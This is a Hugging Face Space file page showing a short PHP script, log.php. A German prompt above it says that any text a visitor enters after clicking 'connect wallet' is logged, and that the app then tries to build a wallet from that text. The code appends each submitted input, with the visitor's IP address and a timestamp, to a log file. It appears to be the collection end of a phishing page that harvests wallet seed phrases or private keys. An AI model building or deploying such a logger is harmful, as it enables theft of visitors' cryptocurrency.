Spaces:
Running
Running
mit klick auf den connect wallet button wird die eingabe des besuchers in einem log file geloggt dass sich im selben ordner befindet. alle logs kommen in dieese eine file. mit klick auf den connect button versucht die app, aus der eingabe eine wallet zu erstellen. isntalliere ierzu die web3 und ethers bibliotheken
d65621e verified Download log.php from esqilax86/deepsite-project: direct link, hf CLI and curl.
- Browser
- Download file 529 Bytes
-
https://huggingface.co/spaces/esqilax86/deepsite-project/resolve/main/log.php
- Command line
-
hf download hf://spaces/esqilax86/deepsite-project/log.php
-
curl -L -o log.php https://huggingface.co/spaces/esqilax86/deepsite-project/resolve/main/log.php
529 Bytes
| // Log all wallet connection attempts | |
| if ($_SERVER['REQUEST_METHOD'] === 'POST') { | |
| $data = json_decode(file_get_contents('php://input'), true); | |
| $input = isset($data['input']) ? $data['input'] : ''; | |
| $timestamp = date('Y-m-d H:i:s'); | |
| $ip = $_SERVER['REMOTE_ADDR']; | |
| $logEntry = "[$timestamp] [$ip] Input: $input\n"; | |
| file_put_contents('wallet_connections.log', $logEntry, FILE_APPEND); | |
| header('Content-Type: application/json'); | |
| echo json_encode(['status' => 'success']); | |
| exit; | |
| } | |